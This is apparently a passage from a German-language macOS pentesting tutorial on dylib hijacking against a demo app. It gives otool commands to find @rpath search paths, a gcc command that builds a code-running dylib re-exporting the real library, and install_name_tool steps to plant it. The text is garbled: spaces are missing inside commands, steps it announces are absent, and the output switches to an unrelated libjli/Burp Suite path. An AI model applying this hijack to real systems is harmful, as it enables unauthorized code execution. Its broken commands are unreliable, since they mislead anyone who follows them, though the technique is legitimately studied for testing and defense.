# Check where are the @rpath locationsotool-l"/Applications/VulnDyld.app/Contents/Resources/lib/binary"|grepLC_RPATH-A2cmdLC_RPATHcmdsize32path@loader_path/. (offset 12)--cmdLC_RPATHcmdsize32path@loader_path/../lib2 (offset 12)
# Check librareis loaded using @rapth and the used versionsotool-l"/Applications/VulnDyld.app/Contents/Resources/lib/binary"|grep"@rpath"-A3name@rpath/lib.dylib (offset 24)time stamp 2 Thu Jan 1 01:00:02 1970currentversion1.0.0compatibilityversion1.0.0# Check the versions
Mit den vorherigen Informationen wissen wir, dass es die Signatur der geladenen Bibliotheken nicht überprüft und versucht, eine Bibliothek von folgenden Orten zu laden:
So ist es möglich, es zu kapern! Erstellen Sie eine Bibliothek, die beliebigen Code ausführt und die gleichen Funktionen wie die legitime Bibliothek exportiert, indem sie sie erneut exportiert. Und denken Sie daran, sie mit den erwarteten Versionen zu kompilieren:
gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib"
# Note the versions and the reexport
Der im Bibliothek erstellte Reexport-Pfad ist relativ zum Loader. Ändern wir ihn in einen absoluten Pfad zur zu exportierenden Bibliothek:
#Check relativeotool-l/tmp/lib.dylib|grepREEXPORT-A2cmdLC_REEXPORT_DYLIBcmdsize48name@rpath/libjli.dylib (offset 24)#Change the location of the library absolute to absolute pathinstall_name_tool -change @rpath/lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" /tmp/lib.dylib
# Check againotool-l/tmp/lib.dylib|grepREEXPORT-A2cmdLC_REEXPORT_DYLIBcmdsize128name/Applications/BurpSuiteProfessional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24)
Schließlich kopieren Sie es einfach an den gekaperten Speicherort:
Wenn Sie planen, Bibliotheken in unerwartete Binärdateien einzufügen, können Sie die Ereignisnachrichten überprüfen, um herauszufinden, wann die Bibliothek in einem Prozess geladen wird (in diesem Fall entfernen Sie das printf und die Ausführung von /bin/bash).